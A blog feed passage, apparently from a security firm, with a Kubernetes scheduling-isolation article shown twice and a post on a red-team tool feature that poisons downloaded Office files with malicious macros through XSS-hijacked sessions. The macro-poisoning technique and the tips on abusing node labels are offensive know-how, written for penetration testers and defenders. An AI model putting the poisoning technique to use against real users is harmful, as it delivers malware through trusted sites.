If it’s set as <code class="language-plaintext highlighter-rouge">preferredDuringSchedulingIgnoredDuringExecution</code>, this indicates a soft rule. The scheduler will try to adhere to this rule, but may not always do so, especially if adhering to the rule would make scheduling impossible or challenging.
If it’s set as <code class="language-plaintext highlighter-rouge">requiredDuringSchedulingIgnoredDuringExecution</code>, it’s a hard rule. The scheduler will not schedule the pod unless the condition is met. This can lead to a pod remaining unscheduled (pending) if the condition isn’t met.</p>
<p>In particular, anti-affinity rules could be leveraged to protect critical workloads from sharing the kubelet with non-critical ones. By doing so, the lack of computational optimization will not affect the entire node pool, but just a few instances that will contain business-critical units.</p>
<p>Example of node affinity</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">pod</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">node-affinity-example</span>
<span class="na">spec</span><span class="pi">:</span>
<span class="na">affinity</span><span class="pi">:</span>
<span class="na">nodeAffinity</span><span class="pi">:</span>
<span class="na">preferredDuringSchedulingIgnoredDuringExecution</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">weight</span><span class="pi">:</span> <span class="m">1</span>
<span class="na">preference</span><span class="pi">:</span>
<span class="na">matchExpressions</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s">net-segment</span>
<span class="na">operator</span><span class="pi">:</span> <span class="s">In</span>
<span class="na">values</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">segment-x</span>
<span class="na">requiredDuringSchedulingIgnoredDuringExecution</span><span class="pi">:</span>
<span class="na">nodeSelectorTerms</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">matchExpressions</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s">workloadtype</span>
<span class="na">operator</span><span class="pi">:</span> <span class="s">In</span>
<span class="na">values</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">p0wload</span>
<span class="pi">-</span> <span class="s">p1wload</span>
<span class="na">containers</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">node-affinity-example</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">registry.k8s.io/pause:2.0</span>
</code></pre></div></div>
<p>The node is preferred to be in a specific network segment by label and it is required to match either a p0 or p1 workloadtype (custom strategy).</p>
<p>Multiple operators are <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#operators" target="_blank">available</a> and <code class="language-plaintext highlighter-rouge">NotIn</code> and <code class="language-plaintext highlighter-rouge">DoesNotExist</code> are the specific ones usable to obtain node anti-affinity. From a security standpoint, only hard rules requiring the conditions to be respected matter. The <code class="language-plaintext highlighter-rouge">preferredDuringSchedulingIgnoredDuringExecution</code> configuration should be used for computational configurations that can not affect the security posture of the cluster.</p>
<h4 id="4-inter-pod-affinity-and-anti-affinity">4. Inter-pod Affinity and Anti-affinity</h4>
<p>Inter-pod affinity and anti-affinity could constrain which nodes the pods can be scheduled on, based on the labels of pods already running on that node. <br />As specified in Kubernetes <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity" target="_blank">documentation</a>:</p>
<blockquote>
<p><em>“Inter-pod affinity and anti-affinity rules take the form “this pod should (or, in the case of anti-affinity, should not) run in an X if that X is already running one or more pods that meet rule Y”, where X is a topology domain like node, rack, cloud provider zone or region, or similar and Y is the rule Kubernetes tries to satisfy.”</em></p>
</blockquote>
<p>Example of anti-affinity</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">affinity</span><span class="pi">:</span>
<span class="na">podAntiAffinity</span><span class="pi">:</span>
<span class="na">requiredDuringSchedulingIgnoredDuringExecution</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">labelSelector</span><span class="pi">:</span>
<span class="na">matchExpressions</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s">app</span>
<span class="na">operator</span><span class="pi">:</span> <span class="s">In</span>
<span class="na">values</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">testdatabase</span>
</code></pre></div></div>
<p>In the <code class="language-plaintext highlighter-rouge">podAntiAffinity</code> case above, we will never see the pod running on a node where a <code class="language-plaintext highlighter-rouge">testdatabase</code> app is running.</p>
<p>It fits designs where it is desired to schedule some pods together or where the system must ensure that certain pods are never going to be scheduled together. In particular, the inter-pod rules allow engineers to define additional constraints within the same execution context without further creating segmentation in terms of node groups. Nevertheless, complex affinity rules could create situations with pods stuck in <em>pending</em> status.</p>
<h4 id="5-taints-and-tolerations">5. Taints and Tolerations</h4>
<p>Taints are the opposite of node affinity properties since they allow a node to repel a set of pods not matching some tolerations. They can be applied to a node to make it repel pods unless they explicitly tolerate the taints.</p>
<p>Tolerations are applied to pods and they allow the scheduler to schedule pods with matching taints. It should be highlighted that while tolerations allow scheduling, the decision is not guaranteed.</p>
<p>Each node also defines an action linked to each taint: <code class="language-plaintext highlighter-rouge">NoExecute</code> (affects running pods), <code class="language-plaintext highlighter-rouge">NoSchedule</code> (hard rule), <code class="language-plaintext highlighter-rouge">PreferNoSchedule</code> (soft rule).
The approach is ideal for environments where strong isolation of workloads is required. Moreover, it allows the creation of custom node selection rules not based solely on labels and it does not leave flexibility.</p>
<h4 id="6-pod-topology-spread-constraints">6. Pod Topology Spread Constraints</h4>
<p>You can use topology spread constraints to control how pods are spread across your cluster among failure-domains such as regions, zones, nodes, and other user-defined topology domains. This can help to achieve high availability as well as efficient resource utilization.</p>
<h4 id="7-not-satisfied-custom-scheduler-to-the-rescue">7. Not Satisfied? Custom Scheduler to the Rescue</h4>
<p>Kubernetes by default uses the <code class="language-plaintext highlighter-rouge">kube-scheduler</code> which follows its own set of criteria for scheduling pods. While the default scheduler is versatile and offers a lot of options, there might be specific security requirements that the default scheduler might not know about. Writing a custom scheduler allows an organization to apply a risk-based scheduling to avoid pairing privileged pods with pods processing or accessing sensitive data.</p>
<p>To create a custom scheduler, you would typically write a program that:</p>
<ul>
<li>Watches for unscheduled pods</li>
<li>Implements a scheduling algorithm to decide on which node the pod should run</li>
<li>Communicates the decision to the Kubernetes API server.</li>
</ul>
<p>Some examples of a custom scheduler that can be adapted for this can be found at the following GH repositories: <a href="https://github.com/kubernetes-sigs/scheduler-plugins" target="_blank">kubernetes-sigs/scheduler-plugins</a> or <a href="https://github.com/onuryilmaz/k8s-scheduler-example" target="_blank">onuryilmaz/k8s-scheduler-example</a>.<br />
Additionally, a good presentation on crafting your own is <a href="https://www.youtube.com/watch?v=4TaHQgG9wEg" target="_blank">Building a Kubernetes Scheduler using Custom Metrics - Mateo Burillo, Sysdig</a>. As mentioned in the talk, this is <a href="https://youtu.be/4TaHQgG9wEg?t=544" target="_blank">not for</a> <a href="https://youtu.be/4TaHQgG9wEg?t=1140" target="_blank">the faint of heart</a> because of the complexity and you might be better off just sticking with the default one if you are not already planning to build one.</p>
<h2 id="offensive-tips-scheduling-policies-are-like-magnets">Offensive Tips: Scheduling Policies are like Magnets</h2>
<p>As described, scheduling policies could be used to attract or repel pods into specific group of nodes.</p>
<p>While a proper strategy reduces the blast radius of a compromised pod, there are still some aspects to take care of from the attacker perspective.
In specific cases, the implemented mechanisms could be used either to:</p>
<ul>
<li><strong>Attract critical pods</strong> - A compromised node or role able to edit the metadata could be abused to attract pods, which are interesting to the attacker, by manipulating the labels of a controlled node.<br />
<ul>
<li><em>Carefully review roles and internal processes that could be abused to edit the metadata. Verify the possibility for internal threats to exploit the attraction by influencing or changing the labels and taints</em></li>
</ul>
</li>
<li><strong>Avoid rejection on critical nodes</strong> - If users are supposed to submit pod specs or have indirect control over how they are dynamically structured, this could be abused with scheduling sections. An attacker able to submit pod Specs could use scheduling preferences to jump to a critical node.<br />
<ul>
<li><em>Always review the scheduling strategy to find out the options allowing pods to land on nodes hosting critical workloads. Verify if the user-controlled flows allow adding them or if the logic could be abused by some internal flow</em></li>
</ul>
</li>
<li><strong>Prevent other workloads from being scheduled</strong> - In some cases, knowing or reversing the applied strategy could allow a privileged attacker to craft pods to block legitimate workloads at the scheduling decision.
<ul>
<li><em>Look for a potential mix of labels usable to lock the scheduling on a node</em></li>
</ul>
</li>
</ul>
<p><strong>Bonus Section</strong>: <em>Node labels security</em><br />
Normally, the kubelet will still be able to modify labels for a node, potentially allowing a compromised node to tamper with its own labels to trick the scheduler as described above.</p>
<p>A security measure could be applied with the <a href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction" target="_blank">NodeRestriction</a> admission plugin. It basically denies labels editing from the kubelet if the <code class="language-plaintext highlighter-rouge">node-restriction.kubernetes.io/</code> prefix is present in the label.</p>
<h2 id="wrap-up-time-to-make-the-scheduling-decision">Wrap-up: Time to Make the Scheduling Decision</h2>
<p>Security-wise, dedicated nodes for each namespace/service would constitute the best setup. However, the design would not exploit the Kubernetes capability to optimize computations.</p>
<p>The following examples represent some trade-off choices:</p>
<ul>
<li>Isolate critical namespaces/workloads on their own node group</li>
<li>Reserve a node for critical pods of each namespace</li>
<li>Deploy a completely independent cluster for critical namespaces</li>
</ul>
<p>The core concept for a successful approach is having a <em>set of reserved nodes for critical namespaces/workloads</em>. Real world scenarios and complex designs require engineers to plan the fitting mix of mechanisms according to performance requirements and risk tolerance.</p>
<p>This decision starts with defining the workloads’ risks:</p>
<ul>
<li>
<p><strong>Different teams, different trust level</strong><br />
It’s not uncommon for large organizations to have multiple teams deploying to the same cluster. Different teams might have different levels of trustworthiness, training or access. This diversity can introduce varying levels of risks.</p>
</li>
<li>
<p><strong>Data being processed or stored</strong><br />
Some pods may require mounting customer data or having persistent secrets to perform tasks. Sharing the node with any workload with less hardened workloads may expose the data to a risk</p>
</li>
<li>
<p><strong>Exposed network services on the same node</strong><br />
Any pod that exposes a network service increases its attack surface. pods interacting with external-facing requests may suffer from this exposure and be more at risk of compromise.</p>
</li>
<li>
<p><strong>pod privileges and capabilities, or its assigned risk</strong><br />
Some workloads may need some privileges to work or may run code that by its very nature processes potentially unsafe content or third-party vendor code. All these factors can contribute to increasing a workload’s assigned risk.</p>
</li>
</ul>
<p>Once the set of risks within the environment are found, decide the isolation level for teams/data/network traffic/capabilities. Grouping them, if they are part of the same process, could do the trick.</p>
<p>At that point, the amount of workloads in each isolation group should be evaluable and ready to be addressed by mixing the scheduling strategies, according to the size and complexity of each group.</p>
<p><strong>Note</strong>: Simple environments should use simple strategies and avoid mixing too many mechanisms if few isolation groups and constraints are present.</p>
Kubernetes Scheduling And Secure Design2024-01-18T00:00:00+01:00https://blog.doyensec.com/2024/01/18/k8s-scheduling-secure-design<p>During testing activities, we usually analyze the design choices and context needs in order to suggest applicable remediations depending on the different Kubernetes deployment patterns.</p>
<p>Scheduling is often overlooked in Kubernetes designs. Typically, various mechanisms take precedence, including, but not limited to, Admission Controllers, Network Policies, and RBAC configurations.</p>
<p>Nevertheless, a compromised pod could allow attackers to move laterally to other tenants running on the same Kubernetes node. Pod-escaping techniques or shared storage systems could be exploitable to achieve cross-tenant access despite the other security measures.</p>
<p>Having a <strong>security-oriented scheduling strategy</strong> can help to reduce the overall risk of workload compromise in a comprehensive security design. <strong>If critical workloads are separated at the scheduling decision, the blast radius of a compromised pod is reduced</strong>.</p>
<p>By doing so, lateral movements related to the shared node, from low-risk tasks to business-critical workloads, are prevented.</p>
<p>
<center><img src="../../../public/images/napoleon-there-is-nothing-we-can-do.gif" alt="CloudsecTidbit" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 250px;" /><figcaption><i>Attackers on a compromised Pod with nothing around</i></figcaption></center>
</p>
<p>Kubernetes provides multiple mechanisms to achieve isolation-oriented designs like node tainting or affinity. Below, we describe the scheduling mechanisms offered by Kubernetes and highlight how they contribute to actionable risk reduction.</p>
<p>The following methods to apply a scheduling strategy will be discussed:</p>
<ul>
<li><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#nodeselector">nodeSelector</a> field matching against <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#built-in-node-labels">node labels</a>;</li>
<li><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#nodename">nodeName</a> and namespace fields, basic and effective;</li>
<li><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#affinity-and-anti-affinity">Affinity and anti-affinity</a>, constraints type expansion for inclusion and repulsion;</li>
<li><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity">Inter-pod affinity and anti-affinity</a>, which focus labels matching on pods labels instead of nodes labels when dealing with inclusion and repulsion;</li>
<li><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/">Taints and Tolerations</a>, allowing a node to repel or tolerate a pod being scheduled;</li>
<li><a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#pod-topology-spread-constraints">Pod topology spread constraints</a>, based on regions, zones, nodes, and other user-defined topology domains;</li>
<li>Design a <a href="https://kubernetes.io/docs/tasks/extend-kubernetes/configure-multiple-schedulers/">Custom Scheduler</a>, tailored to your security needs.</li>
</ul>
<h2 id="mechanisms-for-workloads-separation">Mechanisms For Workloads Separation</h2>
<p>As mentioned earlier, isolating tenant workloads from each other helps in reducing the impact of a compromised neighbor. That happens because all pods running on a certain node will belong to a single tenant. Consequently, an attacker capable of escaping from a container will only have access to the containers and the volumes mounted to that node.</p>
<p>Additionally, multiple applications with different authorization may lead to privileged pods sharing the node with pods having PII data mounted or different security risk level.</p>
<h4 id="1-nodeselector">1. nodeSelector</h4>
<p>Among the constraints, it is the simplest one operating by just specifying the target node labels inside the pod specification.</p>
<p>Example Pod Spec</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">nodeSelector-pod</span>
<span class="na">spec</span><span class="pi">:</span>
<span class="na">containers</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">nginx:latest</span>
<span class="na">nodeSelector</span><span class="pi">:</span>
<span class="na">myLabel</span><span class="pi">:</span> <span class="s">myvalue</span>
</code></pre></div></div>
<p>If multiple <em>labels</em> are specified, they are treated as required (<strong>AND</strong> logic), hence scheduling will happen only on pods respecting all of them.</p>
<p>While it is very useful in low-complexity environments, it could easily become a bottleneck stopping executions if many selectors are specified and not satisfied by nodes.</p>
<p>Consequently, it <strong>requires</strong> good monitoring and dynamic management of the labels assigned to nodes if many constraints need to be applied.</p>
<h4 id="2-nodename">2. nodeName</h4>
<p>If the <em>nodeName</em> field in the Spec is set, the kube scheduler simply passes the Pod to the kubelet, which then attempts to assign the Pod to the specified node.</p>
<p>In that sense, <em>nodeName</em> overwrites other scheduling rules (e.g. <em>nodeSelector</em>,<em>affinity</em>, <em>anti-affinity</em> etc.) since the scheduling decision is pre-defined.</p>
<p>Example Pod Spec</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span>
<span class="na">spec</span><span class="pi">:</span>
<span class="na">containers</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">nginx</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">nginx:latest</span>
<span class="na">nodeName</span><span class="pi">:</span> <span class="s">node-critical-workload</span>
</code></pre></div></div>
<p>Limitations:</p>
<ul>
<li>The Pod will not run if the node in the spec is not running or if it is out of resources to host it</li>
<li>Cloud environments like AWS EKS come with non predictable node names</li>
</ul>
<p>Consequently, it requires a detailed management of the available nodes and allocated resources for each group of workloads since the scheduling is pre-defined.</p>
<p><strong>Note</strong>: De-facto such approach invalidates all the computational efficiency benefits of the scheduler and it should be only applied on small groups of critical workloads easy to manage.</p>
<h4 id="3-affinity--anti-affinity">3. Affinity & Anti-affinity</h4>
<p>The <em>NodeAffinity</em> feature enables the possibility to specify rules for pod scheduling based on some characteristics or labels of nodes. They can be used to ensure that pods are scheduled onto nodes meeting specific requirements (affinity rules) or to avoid scheduling pods in specific environments (anti-affinity rules).</p>
<p>Affinity and anti-affinity rules can be set as either “preferred” (soft) or “required” (hard):
If it’s set as <code class="language-plaintext highlighter-rouge">preferredDuringSchedulingIgnoredDuringExecution</code>, this indicates a soft rule. The scheduler will try to adhere to this rule but may not always do so, especially if adhering to the rule would make scheduling impossible or challenging.
If it’s set as <code class="language-plaintext highlighter-rouge">requiredDuringSchedulingIgnoredDuringExecution</code>, it’s a hard rule. The scheduler will not schedule the pod unless the condition is met. This can lead to a pod remaining unscheduled (pending) if the condition isn’t met.</p>
<p>In particular, anti-affinity rules could be leveraged to protect critical workloads from sharing the Kubelet with non-critical ones. By doing so, the lack of computational optimization will not affect the entire node pool, but just a few instances that will contain business-critical units.</p>
<p>Example of node affinity</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Pod</span>
<span class="na">metadata</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">node-affinity-example</span>
<span class="na">spec</span><span class="pi">:</span>
<span class="na">affinity</span><span class="pi">:</span>
<span class="na">nodeAffinity</span><span class="pi">:</span>
<span class="na">preferredDuringSchedulingIgnoredDuringExecution</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">weight</span><span class="pi">:</span> <span class="m">1</span>
<span class="na">preference</span><span class="pi">:</span>
<span class="na">matchExpressions</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s">net-segment</span>
<span class="na">operator</span><span class="pi">:</span> <span class="s">In</span>
<span class="na">values</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">segment-x</span>
<span class="na">requiredDuringSchedulingIgnoredDuringExecution</span><span class="pi">:</span>
<span class="na">nodeSelectorTerms</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">matchExpressions</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s">workloadtype</span>
<span class="na">operator</span><span class="pi">:</span> <span class="s">In</span>
<span class="na">values</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">p0wload</span>
<span class="pi">-</span> <span class="s">p1wload</span>
<span class="na">containers</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">node-affinity-example</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">registry.k8s.io/pause:2.0</span>
</code></pre></div></div>
<p>The node is preferred to be in a specific network segment by label and it is required to match either p0 or p1 workloadtype (custom strategy).</p>
<p>Multiple operators are available (https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#operators) and <code class="language-plaintext highlighter-rouge">NotIn</code> and <code class="language-plaintext highlighter-rouge">DoesNotExist</code> are the specific ones usable to obtain node anti-affinity.</p>
<p>From a security standpoint, only hard rules requiring the conditions to be respected matter. <code class="language-plaintext highlighter-rouge">preferredDuringSchedulingIgnoredDuringExecution</code> should be used for computational configurations that can not affect the security posture of the cluster.</p>
<h4 id="4-inter-pod-affinity-and-anti-affinity">4. Inter-pod affinity and anti-affinity</h4>
<p>Inter-pod affinity and anti-affinity could constrain which nodes the pods can be scheduled on based on the labels of pods already running on that node. <br />As specified in Kubernetes <a href="https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity">documentation</a>:</p>
<blockquote>
<p><em>“Inter-pod affinity and anti-affinity rules take the form “this Pod should (or, in the case of anti-affinity, should not) run in an X if that X is already running one or more Pods that meet rule Y”, where X is a topology domain like node, rack, cloud provider zone or region, or similar and Y is the rule Kubernetes tries to satisfy.”</em></p>
</blockquote>
<p>Example of anti-affinity</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">affinity</span><span class="pi">:</span>
<span class="na">podAntiAffinity</span><span class="pi">:</span>
<span class="na">requiredDuringSchedulingIgnoredDuringExecution</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">labelSelector</span><span class="pi">:</span>
<span class="na">matchExpressions</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">key</span><span class="pi">:</span> <span class="s">app</span>
<span class="na">operator</span><span class="pi">:</span> <span class="s">In</span>
<span class="na">values</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">testdatabase</span>
</code></pre></div></div>
<p>In the <code class="language-plaintext highlighter-rouge">podAntiAffinity</code> case above, we will never see the pod running on a node where a <code class="language-plaintext highlighter-rouge">testdatabase</code> app is running.</p>
<p>It fits designs where it is desired to schedule some pods together or where the system must ensure that certain pods are never going to be scheduled together.</p>
<p>In particular, the inter-pod rules allow engineers to define additional constraints within the same execution context without further creating segmentation in terms of node groups. Nevertheless, complex affinity rules could create situations with pods stuck in <em>pending</em> status.</p>
<h4 id="5-taints-and-tolerations">5. Taints and Tolerations</h4>
<p>Taints are the opposite of node affinity properties since they allow a node to repel a set of pods not matching some tolerations.</p>
<p>Taints can be applied to a node to make it repel pods unless they explicitly tolerate the taints.</p>
<p>Tolerations are applied to pods. Tolerations allow the scheduler to schedule pods with matching taints. It should be highlighted that while tolerations allow scheduling, the decision is not guaranteed.</p>
<p>Each node also defines an action linked to each taint: <code class="language-plaintext highlighter-rouge">NoExecute</code> (affects running pods), <code class="language-plaintext highlighter-rouge">NoSchedule</code> (hard rule), <code class="language-plaintext highlighter-rouge">PreferNoSchedule</code> (soft rule).</p>
<p>The approach is ideal for environments where strong isolation of workloads is required. Moreover, it allows the creation of custom node selection rules not based solely on labels and it does not leave flexibility.</p>
<h4 id="6-pod-topology-spread-constraints">6. Pod topology spread constraints</h4>
<p>You can use topology spread constraints to control how Pods are spread across your cluster among failure-domains such as regions, zones, nodes, and other user-defined topology domains. This can help to achieve high availability as well as efficient resource utilization.</p>
<h4 id="7-not-satisfied-custom-scheduler-to-the-rescue">7. Not satisfied? Custom Scheduler To The Rescue</h4>
<p>Kubernetes by default uses the <code class="language-plaintext highlighter-rouge">kube-scheduler</code> which follows its own set of criteria for scheduling pods. While the default scheduler is versatile and offers a lot of options, there might be specific security requirements that the default scheduler might not know about. Writing a custom scheduler allows an organization to apply a risk-based scheduling to avoid pairing privileged pods with pods processing or accessing sensitive data.</p>
<p>To create a custom scheduler, you would typically write a program that:</p>
<ul>
<li>Watches for unscheduled pods</li>
<li>Implements a scheduling algorithm to decide on which node the pod should run</li>
<li>Communicates the decision to the Kubernetes API server.</li>
</ul>
<p>Some examples of a custom scheduler that can be adapted for this can be found at the following GH repositories: <a href="https://github.com/kubernetes-sigs/scheduler-plugins">kubernetes-sigs/scheduler-plugins</a> or <a href="https://github.com/onuryilmaz/k8s-scheduler-example">onuryilmaz/k8s-scheduler-example</a>.<br />
Additionally, a good presentation on crafting your own is <a href="https://www.youtube.com/watch?v=4TaHQgG9wEg">Building a Kubernetes Scheduler using Custom Metrics - Mateo Burillo, Sysdig</a>. As mentioned in the talk, this is <a href="https://youtu.be/4TaHQgG9wEg?t=544">not for</a> <a href="https://youtu.be/4TaHQgG9wEg?t=1140">the faint of heart</a> because of the complexity and you might be better off just sticking with the default one if you are not already planning to build one.</p>
<h2 id="offensive-tips-scheduling-policies-are-like-magnets">Offensive Tips: Scheduling policies are like magnets</h2>
<p>As described, scheduling policies could be used to attract or repel pods into specific group of nodes.</p>
<p>As previously stated, a proper strategy reduces the blast radius of a compromised pod.
Nevertheless, there are still some aspects to take care about from the attacker perspective.</p>
<p>In specific cases, the implemented mechanisms could be used either to:</p>
<ul>
<li><strong>Attract critical pods</strong> - A compromised node or role able to edit the metadata could be abused to attract pods interesting for the attacker by manipulating the labels of a controlled node.<br />
<ul>
<li><em>Carefully review roles and internal processes that could be abused to edit the metadata. Verify the possibility for internal threats to exploit the attraction by influencing or changing the labels and taints</em></li>
</ul>
</li>
<li><strong>Avoid rejection on critical nodes</strong> - If users are supposed to submit pod specs or have indirect control over how they are dynamically structured could be abused with scheduling sections. An attacker able to submit Pod Specs could use scheduling preferences to jump to a critical node.<br />
<ul>
<li><em>Always review the scheduling strategy to find out the options allowing pods to land on nodes hosting critical workloads. Verify if the user-controlled flows allow adding them or if the logic could be abused by some internal flow</em></li>
</ul>
</li>
<li><strong>Prevent other workloads from being scheduled</strong> - In some cases, knowing or reversing the applied stategy could allow a privileged attacker to craft pods to block legit workloads at the scheduling decision.
<ul>
<li><em>Look for potential mix of labels usable to lock the scheduling on a node</em></li>
</ul>
</li>
</ul>
<p><strong>Bonus Section</strong>: <em>Node labels security</em><br />
Normally, the kubelet will still be able to modify labels for a node, potentially allowing a compromised node to tamper its own labels to trick the scheduler as described above.</p>
<p>A security measure could be applied with the <a href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction">NodeRestriction</a> admission plugin. It basically denies labels editing from the kubelet if the following prefix is present in the label.</p>
<h2 id="wrap-up-time-to-take-the-scheduling-decision">Wrap-up: Time to take the scheduling decision</h2>
<p>Security-wise, dedicated nodes for each namespace/service would constitute the best setup. However, the design would not exploit the kubernetes capability to optimize computations.</p>
<p>The following examples represent some trade-off choices:</p>
<ul>
<li>Isolate critical namespaces/workloads on their own node group</li>
<li>Reserve a node for critical pods of each namespace</li>
<li>Deploy a completely independent cluster for critical namespaces</li>
</ul>
<p>The core concept for a successful approach is having a <em>set of reserved nodes for critical namespaces/workloads</em>.</p>
<p>Real world scenarios and complex designs require engineers to plan the fitting mix of mechanisms according to performance requirements and risk tolerance.</p>
<p>This decision starts with defining the workloads’ risk:</p>
<ul>
<li>
<p><strong>Different teams, different trust level</strong><br />
It’s not uncommon for large organizations to have multiple teams deploying to the same cluster. Different teams might have different levels of trustworthiness, training or access. This diversity can introduce varying levels of risks.</p>
</li>
<li>
<p><strong>Data being processed or stored</strong><br />
Some pods may require mounting customer data or having persistent secrets to perform tasks. Sharing the node with any workload with less hardened workloads may expose the data to a risk</p>
</li>
<li>
<p><strong>Exposed network services on the same node</strong><br />
Any pod that exposes a network service increases its attack surface. Pods interacting with external-facing requests may suffer from this exposure and be more at risk of compromise.</p>
</li>
<li>
<p><strong>Pod privileges and capabilities, or its assigned risk</strong><br />
Some workloads may need some privileges to work or may run code that by its own nature process potentially unsafe content or third-party vendor code. All these factors can contribute to increase a workload’s assigned risk.</p>
</li>
</ul>
<p>Once found the set of risks within the environment, decide the isolation level for teams/data/network traffic/capabilities. Grouping them if they are part of the same process could do the trick.</p>
<p>At that point, the amount of workloads in each isolation group should be evaluable and ready to be addressed by mixing the scheduling strategies according to the size and complexity of each group.</p>
<p><strong>Note</strong>: Simple environments should use simple strategies and avoid mixing too many mechanisms if few isolation groups and constraints are present.</p>
Office Documents Poisoning in SHVE2023-11-03T00:00:00+01:00https://blog.doyensec.com/2023/11/03/Office-Document-Poisoning<p>Hello, folks! We’re back with an exciting update on <strong><a href="https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/">Session Hijacking Visual Exploitation (SHVE)</a></strong> that introduces an insidious twist to traditional exploitation techniques using Office documents. We all know how Office documents laced with macros have been a longstanding entry point for infiltrating systems. SHVE now takes a step further by leveraging XSS vulnerabilities and the inherent trust users have in websites they regularly visit.</p>
<p>Our newest feature integrates the concept of Office document poisoning. Here’s how it works: SHVE allows you to upload templates for <code class="language-plaintext highlighter-rouge">.docm</code>, <code class="language-plaintext highlighter-rouge">.pptm</code>, and <code class="language-plaintext highlighter-rouge">.xslm</code> formats. Whenever a victim of SHVE goes to download one of these document types, the tool will automatically intercept and inject the malicious macros into the file before it is downloaded. What makes this technique particularly sneaky is that the document appears completely normal to the user, maintaining the original content and layout. However, in the background, it executes the malicious payload, unbeknownst to the user.</p>
<p>
<center><img src="../../../public/images/office-poisoning.png" alt="Office-Poisoning" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>This approach capitalizes on two critical aspects: the trust users have in documents they download from legitimate websites they visit, and the inherent dangers of macros embedded within Office documents. By combining these two elements, we create a subtle vector for delivering malicious payloads. It’s the wolf in sheep’s clothing, where everything looks as it should be, but the danger lurks within.</p>
<p>To provide a clear demonstration of this technique, we’ve prepared a video illustrating this Office document poisoning in action. Witness how a seemingly innocent download can turn into a nightmare for the end user.</p>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/SHVE-ui.png">
<source src="../../../public/images/Office-Poisoning.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p>As security researchers and ethical hackers, we need to constantly evolve and adapt our methods. With this update, SHVE not only allows for the exploitation of XSS vulnerabilities but also cleverly abuses the trust mechanisms users have built around their daily digital interactions. This enhancement is not just a step forward in terms of technical capability, but also a reminder of the psychological aspects of security exploitation.</p>
<p>We’re eager to see how the community will leverage these new features in their penetration testing and red teaming engagements. As always, we welcome <a href="https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/">contributions</a>, and we’re looking forward to your feedback and insights. Stay safe, and happy hacking!</p>
